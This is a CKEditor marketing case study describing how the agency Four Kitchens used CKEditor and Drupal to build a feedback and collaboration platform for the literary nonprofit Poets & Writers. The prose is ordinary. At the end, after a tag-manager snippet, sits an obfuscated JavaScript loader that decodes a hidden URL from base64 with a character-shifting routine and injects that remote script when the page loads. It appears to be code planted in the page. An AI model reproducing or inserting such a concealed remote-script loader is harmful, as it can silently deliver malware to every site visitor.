CKEditor AI - Meet your app’s new AI co-writer.
Get early access!

Four Kitchens for Poets & Writers

Writer’s platform builds community with CKEditor and Drupal

View all case studies

All information is correct as of the original time of publishing.

Industry

Digital experience consulting

Location

Austin, Texas

Marvin J. Cortés

We were so excited that CKEditor really hit all of the marks. It allowed us to enhance the platform more instead of building some of these features ourselves.

Marvin J. Cortés

Senior Engineer, Four Kitchens

Outcomes

Launched an all-new platform for members

Created ability for global creative writing community to collaborate and connect

Implemented multiple communication and collaboration features within a single platform

The challenge

Create a space for poets and writers to collaborate and exchange feedback, without technology getting in the way.

  • Their client, Poets & Writers, wanted a platform where creators could receive feedback from the community.
  • There was a need for collaboration and a requirement to work with Drupal.
  • They wanted a well-supported software component with a strong community behind it.

Four Kitchens builds digital experiences that help organizations fulfill their mission. Founded in 2006, the digital agency is deeply experienced in a variety of web platforms, including Drupal. When Poets & Writers, one of the leading literary nonprofits in the United States, went looking for a consultant to help them build a new platform for their vibrant, global members, they chose Four Kitchens.

Poets & Writers had a vision of bringing together their members in a single online community space to get feedback on their writing and poems. They worked with Four Kitchens to develop their platform, Groups, to facilitate this.

What they needed from the get-go was:

  • support for importing documents from Google Docs and Microsoft Word
  • the ability to comment on each other’s work inside the document
  • role-based access to collaboration features
  • ability to quickly scale up once the community grows in numbers
This was the technology that we were going to use for the rest of the project, so it needed to work with Drupal and be well-supported in the community itself. CKEditor was the only option we found that was well-supported with all of the features that we needed in Drupal.

The solution

A Drupal-native rich text editor that shortened the time to market and had an existing, strong open source community behind it.

  • Four Kitchens chose CKEditor to help Poets & Writers realize their vision
  • CKEditor offered all the functionality needed for launch, plus more that would support future development (real-time collaboration, track changes, revision history, etc.)
  • Four Kitchens was able to utilize both CKEditor-maintained Drupal modules: CKEditor 5 Plugin Pack module and CKEditor 5 Premium Features module
  • CKEditor’s long history with Drupal and excellent support assured Four Kitchens that they could build the platform their client was looking for

Once Four Kitchens had validated Drupal as the right platform for developing Groups, they needed a rich-text editor that could support their client's vision. The team needed a solution that offered as many of the features that Poets & Writers wanted, plus strong support through documentation and the open source community, so that they could successfully build any features that weren’t already available.

Because CKEditor brings Drupal-native support and already has the features needed from their rich text editor, including comments and document imports, the team was able to use the time they would have spent developing these functionalities on creating a powerful MVP for Poets & Writers to present to their Board of Directors.

What we provided

Import from Word

Export to PDF

Export to Word

Comments

Comments archive

Full Screen mode

The result

A successful phase one launch with even more features released in phase two.

  • Accelerated product development and delivered a POC within days instead of months
  • Implemented a fully-functional solution, bringing key business value to their customer and their end-users
  • Bring a set of innovative Drupal-native features inside their client’s application

With CKEditor, Four Kitchens was able to give their client exactly what they were looking for: a means for creators to have active conversations on their writing.

Phase one was a success. And now, Four Kitchens and Poets & Writers are excited to continue with CKEditor for phase two. “In the new phase, we’re using CKEditor in the direct messaging feature,” Marvin J. Cortés said about the recent updates. “It lets users connect similarly to a lot of online social platforms that they are already used to.”

Having comments and the ability to resolve them adds a lot of value to Groups. And the import and export of Word and Google Docs is huge as well. The feedback we’ve gotten from phase one from the client is that everyone’s really happy with the platform. It’s very well organized. It’s very easy to comment and to engage and to interact.

Share

Find out what CKEditor can do for you

Trusted and approved by

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });